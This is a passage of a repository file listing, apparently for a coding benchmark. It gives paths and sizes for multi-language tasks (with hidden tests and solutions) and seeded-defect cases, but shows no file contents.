  • benchmarks/h2h/sequences/ts-format-catalog/steps/s4/hidden/currency.hidden.test.tsruns865 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s4/solution/src/catalog.tsruns897 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s4/solution/src/format.tsruns2,123 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s4/task.txtdoc392 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/meta.jsonasset606 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/repo/package.jsonruns137 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/repo/src/cart.tsruns283 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/repo/src/pricing.tsruns846 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/repo/src/rules/bulkDiscount.tsruns673 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/repo/src/rules/types.tsruns434 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/repo/test/pricing.test.tsruns1,383 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s1/hidden/percentOff.hidden.test.tsruns2,280 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s1/solution/src/rules/percentOff.tsruns667 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s1/task.txtdoc982 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s2/hidden/buyXGetY.hidden.test.tsruns1,943 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s2/solution/src/rules/buyXGetY.tsruns818 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s2/task.txtdoc1,130 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s3/hidden/registry.hidden.test.tsruns3,088 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s3/solution/src/rules/index.tsruns1,712 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s3/solution/src/rules/threshold.tsruns645 bytes
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s3/task.txtdoc1,873 bytes
  • benchmarks/h2h/tasks/go-bank-transfer/hidden/h2h_hidden_test.goruns5,814 bytes
  • benchmarks/h2h/tasks/go-bank-transfer/meta.jsonasset320 bytes
  • benchmarks/h2h/tasks/go-bank-transfer/repo/account/account.goruns1,785 bytes
  • benchmarks/h2h/tasks/go-bank-transfer/repo/go.modasset33 bytes
  • benchmarks/h2h/tasks/go-bank-transfer/repo/ledger/ledger.goruns1,207 bytes
  • benchmarks/h2h/tasks/go-bank-transfer/repo/tests/visible_test.goruns1,640 bytes
  • benchmarks/h2h/tasks/go-bank-transfer/solution/account/account.goruns2,697 bytes
  • benchmarks/h2h/tasks/go-bank-transfer/solution/ledger/ledger.goruns2,054 bytes
  • benchmarks/h2h/tasks/go-bank-transfer/task.txtdoc1,583 bytes
  • benchmarks/h2h/tasks/go-config-merge/hidden/h2h_hidden_test.goruns3,479 bytes
  • benchmarks/h2h/tasks/go-config-merge/meta.jsonasset322 bytes
  • benchmarks/h2h/tasks/go-config-merge/repo/config/env.goruns552 bytes
  • benchmarks/h2h/tasks/go-config-merge/repo/config/file.goruns866 bytes
  • benchmarks/h2h/tasks/go-config-merge/repo/config/merge.goruns1,903 bytes
  • benchmarks/h2h/tasks/go-config-merge/repo/go.modasset35 bytes
  • benchmarks/h2h/tasks/go-config-merge/repo/server/server.goruns939 bytes
  • benchmarks/h2h/tasks/go-config-merge/repo/tests/visible_test.goruns1,108 bytes
  • benchmarks/h2h/tasks/go-config-merge/solution/config/env.goruns606 bytes
  • benchmarks/h2h/tasks/go-config-merge/solution/config/file.goruns917 bytes
  • benchmarks/h2h/tasks/go-config-merge/solution/config/merge.goruns2,069 bytes
  • benchmarks/h2h/tasks/go-config-merge/task.txtdoc1,389 bytes
  • benchmarks/h2h/tasks/go-ratelimit/hidden/h2h_hidden_test.goruns4,329 bytes
  • benchmarks/h2h/tasks/go-ratelimit/meta.jsonasset317 bytes
  • benchmarks/h2h/tasks/go-ratelimit/repo/go.modasset38 bytes
  • benchmarks/h2h/tasks/go-ratelimit/repo/ratelimit/window.goruns1,091 bytes
  • benchmarks/h2h/tasks/go-ratelimit/repo/tests/visible_test.goruns1,149 bytes
  • benchmarks/h2h/tasks/go-ratelimit/solution/ratelimit/bucket.goruns1,676 bytes
  • benchmarks/h2h/tasks/go-ratelimit/task.txtdoc1,497 bytes
  • benchmarks/h2h/tasks/go-store-refactor/hidden/h2h_hidden_test.goruns5,391 bytes
  • benchmarks/h2h/tasks/go-store-refactor/meta.jsonasset316 bytes
  • benchmarks/h2h/tasks/go-store-refactor/repo/go.modasset34 bytes
  • benchmarks/h2h/tasks/go-store-refactor/repo/notes/format.goruns991 bytes
  • benchmarks/h2h/tasks/go-store-refactor/repo/notes/handlers.goruns990 bytes
  • benchmarks/h2h/tasks/go-store-refactor/repo/notes/store.goruns1,140 bytes
  • benchmarks/h2h/tasks/go-store-refactor/repo/tests/visible_test.goruns1,108 bytes
  • benchmarks/h2h/tasks/go-store-refactor/solution/notes/handlers.goruns1,244 bytes
  • benchmarks/h2h/tasks/go-store-refactor/solution/notes/store.goruns1,504 bytes
  • benchmarks/h2h/tasks/go-store-refactor/task.txtdoc1,779 bytes
  • benchmarks/h2h/tasks/go-topo-schedule/hidden/h2h_hidden_test.goruns18,490 bytes
  • benchmarks/h2h/tasks/go-topo-schedule/meta.jsonasset315 bytes
  • benchmarks/h2h/tasks/go-topo-schedule/repo/go.modasset34 bytes
  • benchmarks/h2h/tasks/go-topo-schedule/repo/sched/graph.goruns854 bytes
  • benchmarks/h2h/tasks/go-topo-schedule/repo/tests/visible_test.goruns552 bytes
  • benchmarks/h2h/tasks/go-topo-schedule/solution/sched/plan.goruns11,004 bytes
  • benchmarks/h2h/tasks/go-topo-schedule/task.txtdoc5,100 bytes
  • benchmarks/h2h/tasks/go-wordfreq-tokenize/hidden/h2h_hidden_test.goruns3,039 bytes
  • benchmarks/h2h/tasks/go-wordfreq-tokenize/meta.jsonasset322 bytes
  • benchmarks/h2h/tasks/go-wordfreq-tokenize/repo/go.modasset37 bytes
  • benchmarks/h2h/tasks/go-wordfreq-tokenize/repo/tests/visible_test.goruns803 bytes
  • benchmarks/h2h/tasks/go-wordfreq-tokenize/repo/wordfreq/count.goruns592 bytes
  • benchmarks/h2h/tasks/go-wordfreq-tokenize/repo/wordfreq/tokenize.goruns551 bytes
  • benchmarks/h2h/tasks/go-wordfreq-tokenize/solution/wordfreq/count.goruns755 bytes
  • benchmarks/h2h/tasks/go-wordfreq-tokenize/solution/wordfreq/tokenize.goruns735 bytes
  • benchmarks/h2h/tasks/go-wordfreq-tokenize/task.txtdoc1,360 bytes
  • benchmarks/h2h/tasks/py-cache-ttl/hidden/test_cache_hidden.pyruns2,391 bytes
  • benchmarks/h2h/tasks/py-cache-ttl/meta.jsonasset398 bytes
  • benchmarks/h2h/tasks/py-cache-ttl/repo/cachelib/__init__.pyruns46 bytes
  • benchmarks/h2h/tasks/py-cache-ttl/repo/cachelib/cache.pyruns1,058 bytes
  • benchmarks/h2h/tasks/py-cache-ttl/repo/pytest.iniasset42 bytes
  • benchmarks/h2h/tasks/py-cache-ttl/repo/tests/test_cache.pyruns615 bytes
  • benchmarks/h2h/tasks/py-cache-ttl/solution/cachelib/cache.pyruns2,099 bytes
  • benchmarks/h2h/tasks/py-cache-ttl/task.txtdoc744 bytes
  • benchmarks/h2h/tasks/py-csv-quotes/hidden/test_parser_hidden.pyruns1,078 bytes
  • benchmarks/h2h/tasks/py-csv-quotes/meta.jsonasset398 bytes
  • benchmarks/h2h/tasks/py-csv-quotes/repo/csvlite/__init__.pyruns83 bytes
  • benchmarks/h2h/tasks/py-csv-quotes/repo/csvlite/parser.pyruns805 bytes
  • benchmarks/h2h/tasks/py-csv-quotes/repo/pytest.iniasset42 bytes
  • benchmarks/h2h/tasks/py-csv-quotes/repo/tests/test_parser.pyruns394 bytes
  • benchmarks/h2h/tasks/py-csv-quotes/solution/csvlite/parser.pyruns1,268 bytes
  • benchmarks/h2h/tasks/py-csv-quotes/task.txtdoc559 bytes
  • benchmarks/h2h/tasks/py-invoice-rounding/hidden/test_invoice_hidden.pyruns2,041 bytes
  • benchmarks/h2h/tasks/py-invoice-rounding/meta.jsonasset405 bytes
  • benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/__init__.pyruns136 bytes
  • benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/invoice.pyruns1,641 bytes
  • benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/money.pyruns401 bytes
  • benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/tax.pyruns294 bytes
  • benchmarks/h2h/tasks/py-invoice-rounding/repo/pytest.iniasset42 bytes
  • benchmarks/h2h/tasks/py-invoice-rounding/repo/tests/test_invoice.pyruns918 bytes
  • benchmarks/h2h/tasks/py-invoice-rounding/solution/billing/money.pyruns726 bytes
  • benchmarks/h2h/tasks/py-invoice-rounding/solution/billing/tax.pyruns655 bytes
  • benchmarks/h2h/tasks/py-invoice-rounding/task.txtdoc1,271 bytes
  • benchmarks/h2h/tasks/py-retry-decorator/hidden/test_retry_hidden.pyruns3,729 bytes
  • benchmarks/h2h/tasks/py-retry-decorator/meta.jsonasset399 bytes
  • benchmarks/h2h/tasks/py-retry-decorator/repo/netutil/__init__.pyruns32 bytes
  • benchmarks/h2h/tasks/py-retry-decorator/repo/netutil/http.pyruns676 bytes
  • benchmarks/h2h/tasks/py-retry-decorator/repo/pytest.iniasset42 bytes
  • benchmarks/h2h/tasks/py-retry-decorator/repo/tests/test_http.pyruns674 bytes
  • benchmarks/h2h/tasks/py-retry-decorator/solution/netutil/http.pyruns617 bytes
  • benchmarks/h2h/tasks/py-retry-decorator/solution/netutil/retry.pyruns762 bytes
  • benchmarks/h2h/tasks/py-retry-decorator/task.txtdoc837 bytes
  • benchmarks/h2h/tasks/py-semver-range/hidden/test_range_hidden.pyruns7,518 bytes
  • benchmarks/h2h/tasks/py-semver-range/meta.jsonasset396 bytes
  • benchmarks/h2h/tasks/py-semver-range/repo/pytest.iniasset42 bytes
  • benchmarks/h2h/tasks/py-semver-range/repo/semverlite/__init__.pyruns88 bytes
  • benchmarks/h2h/tasks/py-semver-range/repo/semverlite/version.pyruns2,855 bytes
  • benchmarks/h2h/tasks/py-semver-range/repo/tests/test_version.pyruns1,123 bytes
  • benchmarks/h2h/tasks/py-semver-range/solution/semverlite/range.pyruns8,380 bytes
  • benchmarks/h2h/tasks/py-semver-range/task.txtdoc4,133 bytes
  • benchmarks/h2h/tasks/py-todo-json/hidden/test_cli_hidden.pyruns2,772 bytes
  • benchmarks/h2h/tasks/py-todo-json/meta.jsonasset399 bytes
  • benchmarks/h2h/tasks/py-todo-json/repo/pytest.iniasset42 bytes
  • benchmarks/h2h/tasks/py-todo-json/repo/tests/test_cli.pyruns770 bytes
  • benchmarks/h2h/tasks/py-todo-json/repo/todo/__init__.pyruns0 bytes
  • benchmarks/h2h/tasks/py-todo-json/repo/todo/cli.pyruns724 bytes
  • benchmarks/h2h/tasks/py-todo-json/repo/todo/models.pyruns364 bytes
  • benchmarks/h2h/tasks/py-todo-json/repo/todo/report.pyruns321 bytes
  • benchmarks/h2h/tasks/py-todo-json/repo/todo/store.pyruns469 bytes
  • benchmarks/h2h/tasks/py-todo-json/solution/todo/cli.pyruns1,211 bytes
  • benchmarks/h2h/tasks/py-todo-json/solution/todo/report.pyruns555 bytes
  • benchmarks/h2h/tasks/py-todo-json/task.txtdoc658 bytes
  • benchmarks/h2h/tasks/rs-expr-eval/hidden/h2h_hidden.rsasset7,777 bytes
  • benchmarks/h2h/tasks/rs-expr-eval/meta.jsonasset321 bytes
  • benchmarks/h2h/tasks/rs-expr-eval/repo/.gitignoreasset8 bytes
  • benchmarks/h2h/tasks/rs-expr-eval/repo/Cargo.lockasset151 bytes
  • benchmarks/h2h/tasks/rs-expr-eval/repo/Cargo.tomlasset78 bytes
  • benchmarks/h2h/tasks/rs-expr-eval/repo/src/expr.rsasset1,399 bytes
  • benchmarks/h2h/tasks/rs-expr-eval/repo/src/lib.rsasset94 bytes
  • benchmarks/h2h/tasks/rs-expr-eval/repo/tests/visible.rsasset477 bytes
  • benchmarks/h2h/tasks/rs-expr-eval/solution/src/expr.rsasset10,829 bytes
  • benchmarks/h2h/tasks/rs-expr-eval/task.txtdoc4,464 bytes
  • benchmarks/h2h/tasks/rs-interval-set/hidden/h2h_hidden.rsasset12,443 bytes
  • benchmarks/h2h/tasks/rs-interval-set/meta.jsonasset321 bytes
  • benchmarks/h2h/tasks/rs-interval-set/repo/.gitignoreasset8 bytes
  • benchmarks/h2h/tasks/rs-interval-set/repo/Cargo.lockasset155 bytes
  • benchmarks/h2h/tasks/rs-interval-set/repo/Cargo.tomlasset82 bytes
  • benchmarks/h2h/tasks/rs-interval-set/repo/src/intervals.rsasset1,815 bytes
  • benchmarks/h2h/tasks/rs-interval-set/repo/src/lib.rsasset131 bytes
  • benchmarks/h2h/tasks/rs-interval-set/repo/tests/visible.rsasset1,257 bytes
  • benchmarks/h2h/tasks/rs-interval-set/solution/src/intervals.rsasset6,477 bytes
  • benchmarks/h2h/tasks/rs-interval-set/task.txtdoc3,249 bytes
  • benchmarks/h2h/tasks/rs-roman-strict/hidden/h2h_hidden.rsasset2,037 bytes
  • benchmarks/h2h/tasks/rs-roman-strict/meta.jsonasset322 bytes
  • benchmarks/h2h/tasks/rs-roman-strict/repo/.gitignoreasset8 bytes
  • benchmarks/h2h/tasks/rs-roman-strict/repo/Cargo.lockasset152 bytes
  • benchmarks/h2h/tasks/rs-roman-strict/repo/Cargo.tomlasset79 bytes
  • benchmarks/h2h/tasks/rs-roman-strict/repo/src/lib.rsasset98 bytes
  • benchmarks/h2h/tasks/rs-roman-strict/repo/src/roman.rsasset2,114 bytes
  • benchmarks/h2h/tasks/rs-roman-strict/repo/tests/visible.rsasset691 bytes
  • benchmarks/h2h/tasks/rs-roman-strict/solution/src/roman.rsasset2,627 bytes
  • benchmarks/h2h/tasks/rs-roman-strict/task.txtdoc1,452 bytes
  • benchmarks/h2h/tasks/rs-shapes-refactor/hidden/h2h_hidden.rsasset4,467 bytes
  • benchmarks/h2h/tasks/rs-shapes-refactor/meta.jsonasset322 bytes
  • benchmarks/h2h/tasks/rs-shapes-refactor/repo/.gitignoreasset8 bytes
  • benchmarks/h2h/tasks/rs-shapes-refactor/repo/Cargo.lockasset152 bytes
  • benchmarks/h2h/tasks/rs-shapes-refactor/repo/Cargo.tomlasset79 bytes
  • benchmarks/h2h/tasks/rs-shapes-refactor/repo/src/area.rsasset2,069 bytes
  • benchmarks/h2h/tasks/rs-shapes-refactor/repo/src/lib.rsasset169 bytes
  • benchmarks/h2h/tasks/rs-shapes-refactor/repo/src/perimeter.rsasset1,211 bytes
  • benchmarks/h2h/tasks/rs-shapes-refactor/repo/tests/visible.rsasset1,227 bytes
  • benchmarks/h2h/tasks/rs-shapes-refactor/solution/src/area.rsasset374 bytes
  • benchmarks/h2h/tasks/rs-shapes-refactor/solution/src/lib.rsasset220 bytes
  • benchmarks/h2h/tasks/rs-shapes-refactor/solution/src/perimeter.rsasset389 bytes
  • benchmarks/h2h/tasks/rs-shapes-refactor/solution/src/shape.rsasset3,460 bytes
  • benchmarks/h2h/tasks/rs-shapes-refactor/task.txtdoc2,219 bytes
  • benchmarks/h2h/tasks/rs-stats-percentile/hidden/h2h_hidden.rsasset2,367 bytes
  • benchmarks/h2h/tasks/rs-stats-percentile/meta.jsonasset328 bytes
  • benchmarks/h2h/tasks/rs-stats-percentile/repo/.gitignoreasset8 bytes
  • benchmarks/h2h/tasks/rs-stats-percentile/repo/Cargo.lockasset151 bytes
  • benchmarks/h2h/tasks/rs-stats-percentile/repo/Cargo.tomlasset78 bytes
  • benchmarks/h2h/tasks/rs-stats-percentile/repo/src/lib.rsasset113 bytes
  • benchmarks/h2h/tasks/rs-stats-percentile/repo/src/report.rsasset526 bytes
  • benchmarks/h2h/tasks/rs-stats-percentile/repo/src/stats.rsasset610 bytes
  • benchmarks/h2h/tasks/rs-stats-percentile/repo/tests/visible.rsasset628 bytes
  • benchmarks/h2h/tasks/rs-stats-percentile/solution/src/stats.rsasset1,254 bytes
  • benchmarks/h2h/tasks/rs-stats-percentile/task.txtdoc1,523 bytes
  • benchmarks/h2h/tasks/rs-stock-reserve/hidden/h2h_hidden.rsasset5,061 bytes
  • benchmarks/h2h/tasks/rs-stock-reserve/meta.jsonasset326 bytes
  • benchmarks/h2h/tasks/rs-stock-reserve/repo/.gitignoreasset8 bytes
  • benchmarks/h2h/tasks/rs-stock-reserve/repo/Cargo.lockasset152 bytes
  • benchmarks/h2h/tasks/rs-stock-reserve/repo/Cargo.tomlasset79 bytes
  • benchmarks/h2h/tasks/rs-stock-reserve/repo/src/lib.rsasset155 bytes
  • benchmarks/h2h/tasks/rs-stock-reserve/repo/src/order.rsasset1,034 bytes
  • benchmarks/h2h/tasks/rs-stock-reserve/repo/src/stock.rsasset740 bytes
  • benchmarks/h2h/tasks/rs-stock-reserve/repo/tests/visible.rsasset688 bytes
  • benchmarks/h2h/tasks/rs-stock-reserve/solution/src/lib.rsasset186 bytes
  • benchmarks/h2h/tasks/rs-stock-reserve/solution/src/order.rsasset1,569 bytes
  • benchmarks/h2h/tasks/rs-stock-reserve/solution/src/stock.rsasset3,243 bytes
  • benchmarks/h2h/tasks/rs-stock-reserve/task.txtdoc2,000 bytes
  • benchmarks/h2h/tasks/ts-cart-discounts/hidden/cart.hidden.test.tsruns2,280 bytes
  • benchmarks/h2h/tasks/ts-cart-discounts/meta.jsonasset295 bytes
  • benchmarks/h2h/tasks/ts-cart-discounts/repo/package.jsonruns129 bytes
  • benchmarks/h2h/tasks/ts-cart-discounts/repo/src/cart.tsruns589 bytes
  • benchmarks/h2h/tasks/ts-cart-discounts/repo/src/checkout.tsruns264 bytes
  • benchmarks/h2h/tasks/ts-cart-discounts/repo/test/cart.test.tsruns737 bytes
  • benchmarks/h2h/tasks/ts-cart-discounts/solution/src/cart.tsruns1,027 bytes
  • benchmarks/h2h/tasks/ts-cart-discounts/solution/src/checkout.tsruns285 bytes
  • benchmarks/h2h/tasks/ts-cart-discounts/solution/src/discounts.tsruns496 bytes
  • benchmarks/h2h/tasks/ts-cart-discounts/task.txtdoc697 bytes
  • benchmarks/h2h/tasks/ts-cron-next/hidden/cron.hidden.test.tsruns9,963 bytes
  • benchmarks/h2h/tasks/ts-cron-next/meta.jsonasset292 bytes
  • benchmarks/h2h/tasks/ts-cron-next/repo/package.jsonruns127 bytes
  • benchmarks/h2h/tasks/ts-cron-next/repo/src/jobs.tsruns693 bytes
  • benchmarks/h2h/tasks/ts-cron-next/repo/test/jobs.test.tsruns852 bytes
  • benchmarks/h2h/tasks/ts-cron-next/solution/src/cron.tsruns7,483 bytes
  • benchmarks/h2h/tasks/ts-cron-next/task.txtdoc3,771 bytes
  • benchmarks/h2h/tasks/ts-duration-fix/hidden/duration.hidden.test.tsruns1,346 bytes
  • benchmarks/h2h/tasks/ts-duration-fix/meta.jsonasset297 bytes
  • benchmarks/h2h/tasks/ts-duration-fix/repo/package.jsonruns129 bytes
  • benchmarks/h2h/tasks/ts-duration-fix/repo/src/duration.tsruns432 bytes
  • benchmarks/h2h/tasks/ts-duration-fix/repo/src/job.tsruns420 bytes
  • benchmarks/h2h/tasks/ts-duration-fix/repo/test/duration.test.tsruns405 bytes
  • benchmarks/h2h/tasks/ts-duration-fix/solution/src/duration.tsruns544 bytes
  • benchmarks/h2h/tasks/ts-duration-fix/task.txtdoc539 bytes
  • benchmarks/h2h/tasks/ts-order-currency/hidden/orders.hidden.test.tsruns1,615 bytes
  • benchmarks/h2h/tasks/ts-order-currency/meta.jsonasset299 bytes
  • benchmarks/h2h/tasks/ts-order-currency/repo/package.jsonruns130 bytes
  • benchmarks/h2h/tasks/ts-order-currency/repo/src/export.tsruns461 bytes
  • benchmarks/h2h/tasks/ts-order-currency/repo/src/format.tsruns324 bytes
  • benchmarks/h2h/tasks/ts-order-currency/repo/src/report.tsruns272 bytes
  • benchmarks/h2h/tasks/ts-order-currency/repo/src/types.tsruns83 bytes
  • benchmarks/h2h/tasks/ts-order-currency/repo/test/orders.test.tsruns620 bytes
  • benchmarks/h2h/tasks/ts-order-currency/solution/src/export.tsruns506 bytes
  • benchmarks/h2h/tasks/ts-order-currency/solution/src/format.tsruns359 bytes
  • benchmarks/h2h/tasks/ts-order-currency/solution/src/report.tsruns473 bytes
  • benchmarks/h2h/tasks/ts-order-currency/solution/src/types.tsruns233 bytes
  • benchmarks/h2h/tasks/ts-order-currency/task.txtdoc758 bytes
  • benchmarks/h2h/tasks/ts-paginate-fix/hidden/paginate.hidden.test.tsruns1,905 bytes
  • benchmarks/h2h/tasks/ts-paginate-fix/meta.jsonasset297 bytes
  • benchmarks/h2h/tasks/ts-paginate-fix/repo/package.jsonruns128 bytes
  • benchmarks/h2h/tasks/ts-paginate-fix/repo/src/paginate.tsruns700 bytes
  • benchmarks/h2h/tasks/ts-paginate-fix/repo/src/users.tsruns286 bytes
  • benchmarks/h2h/tasks/ts-paginate-fix/repo/test/paginate.test.tsruns459 bytes
  • benchmarks/h2h/tasks/ts-paginate-fix/solution/src/paginate.tsruns695 bytes
  • benchmarks/h2h/tasks/ts-paginate-fix/task.txtdoc483 bytes
  • benchmarks/h2h/tasks/ts-validate-refactor/hidden/accounts.hidden.test.tsruns5,302 bytes
  • benchmarks/h2h/tasks/ts-validate-refactor/meta.jsonasset297 bytes
  • benchmarks/h2h/tasks/ts-validate-refactor/repo/package.jsonruns129 bytes
  • benchmarks/h2h/tasks/ts-validate-refactor/repo/src/invite.tsruns1,861 bytes
  • benchmarks/h2h/tasks/ts-validate-refactor/repo/src/profile.tsruns1,667 bytes
  • benchmarks/h2h/tasks/ts-validate-refactor/repo/src/signup.tsruns1,563 bytes
  • benchmarks/h2h/tasks/ts-validate-refactor/repo/test/accounts.test.tsruns2,641 bytes
  • benchmarks/h2h/tasks/ts-validate-refactor/solution/src/invite.tsruns892 bytes
  • benchmarks/h2h/tasks/ts-validate-refactor/solution/src/profile.tsruns818 bytes
  • benchmarks/h2h/tasks/ts-validate-refactor/solution/src/signup.tsruns608 bytes
  • benchmarks/h2h/tasks/ts-validate-refactor/solution/src/validate.tsruns1,306 bytes
  • benchmarks/h2h/tasks/ts-validate-refactor/task.txtdoc1,892 bytes
  • benchmarks/seeded-defects/cases/SD-0001/check.pyruns240 bytes
  • benchmarks/seeded-defects/cases/SD-0001/spec.mddoc108 bytes
  • benchmarks/seeded-defects/cases/SD-0001/src.pyruns145 bytes
  • benchmarks/seeded-defects/cases/SD-0001/test_visible.pyruns266 bytes
  • benchmarks/seeded-defects/cases/SD-0002/check.pyruns238 bytes
  • benchmarks/seeded-defects/cases/SD-0002/spec.mddoc108 bytes
  • benchmarks/seeded-defects/cases/SD-0002/src.pyruns145 bytes
  • benchmarks/seeded-defects/cases/SD-0002/test_visible.pyruns265 bytes
  • benchmarks/seeded-defects/cases/SD-0003/check.pyruns244 bytes
  • benchmarks/seeded-defects/cases/SD-0003/spec.mddoc108 bytes
  • benchmarks/seeded-defects/cases/SD-0003/src.pyruns145 bytes
  • benchmarks/seeded-defects/cases/SD-0003/test_visible.pyruns267 bytes
  • benchmarks/seeded-defects/cases/SD-0004/check.pyruns239 bytes
  • benchmarks/seeded-defects/cases/SD-0004/spec.mddoc108 bytes
  • benchmarks/seeded-defects/cases/SD-0004/src.pyruns145 bytes
  • benchmarks/seeded-defects/cases/SD-0004/test_visible.pyruns269 bytes
  • benchmarks/seeded-defects/cases/SD-0005/check.pyruns241 bytes
  • benchmarks/seeded-defects/cases/SD-0005/spec.mddoc108 bytes
  • benchmarks/seeded-defects/cases/SD-0005/src.pyruns145 bytes
  • benchmarks/seeded-defects/cases/SD-0005/test_visible.pyruns266 bytes
  • benchmarks/seeded-defects/cases/SD-0006/check.pyruns254 bytes
  • benchmarks/seeded-defects/cases/SD-0006/spec.mddoc75 bytes
  • benchmarks/seeded-defects/cases/SD-0006/src.pyruns140 bytes
  • benchmarks/seeded-defects/cases/SD-0006/test_visible.pyruns221 bytes
  • benchmarks/seeded-defects/cases/SD-0007/check.pyruns253 bytes
  • benchmarks/seeded-defects/cases/SD-0007/spec.mddoc75 bytes
  • benchmarks/seeded-defects/cases/SD-0007/src.pyruns140 bytes
  • benchmarks/seeded-defects/cases/SD-0007/test_visible.pyruns223 bytes
  • benchmarks/seeded-defects/cases/SD-0008/check.pyruns259 bytes
  • benchmarks/seeded-defects/cases/SD-0008/spec.mddoc76 bytes
  • benchmarks/seeded-defects/cases/SD-0008/src.pyruns141 bytes
  • benchmarks/seeded-defects/cases/SD-0008/test_visible.pyruns221 bytes
  • benchmarks/seeded-defects/cases/SD-0009/check.pyruns257 bytes
  • benchmarks/seeded-defects/cases/SD-0009/spec.mddoc76 bytes
  • benchmarks/seeded-defects/cases/SD-0009/src.pyruns141 bytes
  • benchmarks/seeded-defects/cases/SD-0009/test_visible.pyruns223 bytes
  • benchmarks/seeded-defects/cases/SD-0010/check.pyruns259 bytes
  • benchmarks/seeded-defects/cases/SD-0010/spec.mddoc78 bytes
  • benchmarks/seeded-defects/cases/SD-0010/src.pyruns143 bytes
  • benchmarks/seeded-defects/cases/SD-0010/test_visible.pyruns227 bytes
  • benchmarks/seeded-defects/cases/SD-0011/check.pyruns257 bytes
  • benchmarks/seeded-defects/cases/SD-0011/spec.mddoc126 bytes
  • benchmarks/seeded-defects/cases/SD-0011/src.pyruns160 bytes
  • benchmarks/seeded-defects/cases/SD-0011/test_visible.pyruns259 bytes
  • benchmarks/seeded-defects/cases/SD-0012/check.pyruns257 bytes
  • benchmarks/seeded-defects/cases/SD-0012/spec.mddoc126 bytes
  • benchmarks/seeded-defects/cases/SD-0012/src.pyruns160 bytes
  • benchmarks/seeded-defects/cases/SD-0012/test_visible.pyruns259 bytes
  • benchmarks/seeded-defects/cases/SD-0013/check.pyruns257 bytes
  • benchmarks/seeded-defects/cases/SD-0013/spec.mddoc126 bytes
  • benchmarks/seeded-defects/cases/SD-0013/src.pyruns160 bytes
  • benchmarks/seeded-defects/cases/SD-0013/test_visible.pyruns259 bytes
  • benchmarks/seeded-defects/cases/SD-0014/check.pyruns257 bytes
  • benchmarks/seeded-defects/cases/SD-0014/spec.mddoc126 bytes
  • benchmarks/seeded-defects/cases/SD-0014/src.pyruns160 bytes
  • benchmarks/seeded-defects/cases/SD-0014/test_visible.pyruns259 bytes
  • benchmarks/seeded-defects/cases/SD-0015/check.pyruns257 bytes
  • benchmarks/seeded-defects/cases/SD-0015/spec.mddoc126 bytes
  • benchmarks/seeded-defects/cases/SD-0015/src.pyruns160 bytes
  • benchmarks/seeded-defects/cases/SD-0015/test_visible.pyruns259 bytes
  • benchmarks/seeded-defects/cases/SD-0016/check.pyruns249 bytes
  • benchmarks/seeded-defects/cases/SD-0016/spec.mddoc107 bytes
  • benchmarks/seeded-defects/cases/SD-0016/src.pyruns335 bytes
  • benchmarks/seeded-defects/cases/SD-0016/test_visible.pyruns261 bytes
  • benchmarks/seeded-defects/cases/SD-0017/check.pyruns262 bytes
  • benchmarks/seeded-defects/cases/SD-0017/spec.mddoc107 bytes
  • benchmarks/seeded-defects/cases/SD-0017/src.pyruns335 bytes
  • benchmarks/seeded-defects/cases/SD-0017/test_visible.pyruns272 bytes
  • benchmarks/seeded-defects/cases/SD-0018/check.pyruns274 bytes
  • benchmarks/seeded-defects/cases/SD-0018/spec.mddoc107 bytes
  • benchmarks/seeded-defects/cases/SD-0018/src.pyruns335 bytes
  • benchmarks/seeded-defects/cases/SD-0018/test_visible.pyruns284 bytes
  • benchmarks/seeded-defects/cases/SD-0019/check.pyruns295 bytes
  • benchmarks/seeded-defects/cases/SD-0019/spec.mddoc107 bytes
  • benchmarks/seeded-defects/cases/SD-0019/src.pyruns335 bytes
  • benchmarks/seeded-defects/cases/SD-0019/test_visible.pyruns304 bytes
  • benchmarks/seeded-defects/cases/SD-0020/check.pyruns327 bytes
  • benchmarks/seeded-defects/cases/SD-0020/spec.mddoc107 bytes
  • benchmarks/seeded-defects/cases/SD-0020/src.pyruns335 bytes
  • benchmarks/seeded-defects/cases/SD-0020/test_visible.pyruns336 bytes
  • benchmarks/seeded-defects/cases/SD-0021/check.pyruns297 bytes
  • benchmarks/seeded-defects/cases/SD-0021/spec.mddoc106 bytes
  • benchmarks/seeded-defects/cases/SD-0021/src.pyruns143 bytes
  • benchmarks/seeded-defects/cases/SD-0021/test_visible.pyruns265 bytes
  • benchmarks/seeded-defects/cases/SD-0022/check.pyruns278 bytes
  • benchmarks/seeded-defects/cases/SD-0022/spec.mddoc106 bytes
  • benchmarks/seeded-defects/cases/SD-0022/src.pyruns143 bytes
  • benchmarks/seeded-defects/cases/SD-0022/test_visible.pyruns255 bytes
  • benchmarks/seeded-defects/cases/SD-0023/check.pyruns300 bytes
  • benchmarks/seeded-defects/cases/SD-0023/spec.mddoc106 bytes
  • benchmarks/seeded-defects/cases/SD-0023/src.pyruns143 bytes
  • benchmarks/seeded-defects/cases/SD-0023/test_visible.pyruns267 bytes
  • benchmarks/seeded-defects/cases/SD-0024/check.pyruns282 bytes
  • benchmarks/seeded-defects/cases/SD-0024/spec.mddoc106 bytes
  • benchmarks/seeded-defects/cases/SD-0024/src.pyruns143 bytes
  • benchmarks/seeded-defects/cases/SD-0024/test_visible.pyruns255 bytes
  • benchmarks/seeded-defects/cases/SD-0025/check.pyruns302 bytes
  • benchmarks/seeded-defects/cases/SD-0025/spec.mddoc106 bytes
